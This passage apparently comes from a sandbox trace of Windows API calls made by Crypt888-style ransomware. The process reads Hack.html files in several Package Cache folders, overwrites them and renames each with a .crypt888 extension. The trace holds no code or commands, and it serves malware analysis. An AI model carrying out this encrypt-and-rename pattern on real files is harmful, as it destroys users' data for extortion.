Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.301] GetFileType (hFile=0x174) returned 0x1 [0090.301] GetFileType (hFile=0x174) returned 0x1 [0090.301] WriteFile (in: hFile=0x174, lpBuffer=0x272161c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x272161c*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0090.303] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\hack.html.crypt888")) returned 1 [0090.304] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.305] GetFileType (hFile=0x174) returned 0x1 [0090.305] GetFileType (hFile=0x174) returned 0x1 [0090.306] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.306] GetFileType (hFile=0x174) returned 0x1 [0090.306] GetFileType (hFile=0x174) returned 0x1 [0090.308] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.312] GetFileType (hFile=0x174) returned 0x1 [0090.312] GetFileType (hFile=0x174) returned 0x1 [0090.314] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.314] GetFileType (hFile=0x174) returned 0x1 [0090.314] GetFileType (hFile=0x174) returned 0x1 [0090.314] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.314] ReadFile (in: hFile=0x174, lpBuffer=0x272c890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x272c890*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.334] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.335] GetFileType (hFile=0x174) returned 0x1 [0090.335] GetFileType (hFile=0x174) returned 0x1 [0090.335] WriteFile (in: hFile=0x174, lpBuffer=0x277aa50*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x277aa50*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0090.336] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\hack.html.crypt888")) returned 1 [0090.337] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.337] GetFileType (hFile=0x174) returned 0x1 [0090.337] GetFileType (hFile=0x174) returned 0x1 [0090.338] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.338] ReadFile (in: hFile=0x174, lpBuffer=0x277e568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x277e568*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.359] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.360] GetFileType (hFile=0x174) returned 0x1 [0090.360] GetFileType (hFile=0x174) returned 0x1 [0090.361] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\hack.html.crypt888")) returned 1 [0090.363] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.363] GetFileType (hFile=0x174) returned 0x1 [0090.363] GetFileType (hFile=0x174) returned 0x1 [0090.363] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.363] ReadFile (in: hFile=0x174, lpBuffer=0x27d0e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27d0e48*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.383] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.384] GetFileType (hFile=0x174) returned 0x1 [0090.384] GetFileType (hFile=0x174) returned 0x1 [0090.384] WriteFile (in: hFile=0x174, lpBuffer=0x281f048*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x281f048*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0090.386] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\hack.html.crypt888")) returned 1 [0090.387] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.387] GetFileType (hFile=0x174) returned 0x1 [0090.387] GetFileType (hFile=0x174) returned 0x1 [0090.388] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.389] GetFileType (hFile=0x174) returned 0x1 [0090.389] GetFileType (hFile=0x174) returned 0x1 [0090.390] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.392] GetFileType (hFile=0x174) returned 0x1 [0090.392] GetFileType (hFile=0x174) returned 0x1 [0090.393] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.393] GetFileType (hFile=0x174) returned 0x1 [0090.394] GetFileType (hFile=0x174) returned 0x1 [0090.394] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.394] ReadFile (in: hFile=0x174, lpBuffer=0x282a2c4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x282a2c4*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.413] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.414] GetFileType (hFile=0x174) returned 0x1 [0090.415] GetFileType (hFile=0x174) returned 0x1 [0090.416] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\hack.html.crypt888")) returned 1 [0090.417] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.417] GetFileType (hFile=0x174) returned 0x1 [0090.417] GetFileType (hFile=0x174) returned 0x1 [0090.417] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.418] ReadFile (in: hFile=0x174, lpBuffer=0x287bf80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x287bf80*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.430] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.430] GetFileType (hFile=0x174) returned 0x1 [0090.431] GetFileType (hFile=0x174) returned 0x1 [0090.431] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\hack.html.crypt888")) returned 1 [0090.435] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.435] GetFileType (hFile=0x174) returned 0x1 [0090.435] GetFileType (hFile=0x174) returned 0x1 [0090.435] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.435] ReadFile (in: hFile=0x174, lpBuffer=0x26cf0d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26cf0d8*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.449] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.450] GetFileType (hFile=0x174) returned 0x1 [0090.450] GetFileType (hFile=0x174) returned 0x1 [0090.450] WriteFile (in: hFile=0x174, lpBuffer=0x271d430*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x271d430*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0090.451] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\hack.html.crypt888")) returned 1 [0090.452] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.452] GetFileType (hFile=0x174) returned 0x1 [0090.452] GetFileType (hFile=0x174) returned 0x1 [0090.453] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.454] GetFileType (hFile=0x174) returned 0x1 [0090.454] GetFileType (hFile=0x174) returned 0x1 [0090.455] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.457] GetFileType (hFile=0x174) returned 0x1 [0090.457] GetFileType (hFile=0x174) returned 0x1 [0090.458] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.458] GetFileType (hFile=0x174) returned 0x1 [0090.458] GetFileType (hFile=0x174) returned 0x1 [0090.458] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.458] ReadFile (in: hFile=0x174, lpBuffer=0x27287ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27287ac*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.473] GetFileType (hFile=0x174) returned 0x1 [0090.473] GetFileType (hFile=0x174) returned 0x1 [0090.474] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\hack.html.crypt888")) returned 1 [0090.475] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.475] GetFileType (hFile=0x174) returned 0x1 [0090.475] GetFileType (hFile=0x174) returned 0x1 [0090.476] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.476] GetFileType (hFile=0x174) returned 0x1 [0090.476] GetFileType (hFile=0x174) returned 0x1 [0090.477] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.477] ReadFile (in: hFile=0x174, lpBuffer=0x277c920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x277c920*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.490] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.491] GetFileType (hFile=0x174) returned 0x1 [0090.491] GetFileType (hFile=0x174) returned 0x1 [0090.492] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\hack.html.crypt888")) returned 1 [0090.493] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.493] GetFileType (hFile=0x174) returned 0x1 [0090.493] GetFileType (hFile=0x174) returned 0x1 [0090.493] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.493] ReadFile (in: hFile=0x174, lpBuffer=0x27ce5f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27ce5f8*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.508] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.509] GetFileType (hFile=0x174) returned 0x1 [0090.509] GetFileType (hFile=0x174) returned 0x1 [0090.510] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\hack.html.crypt888")) returned 1 [0090.511] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 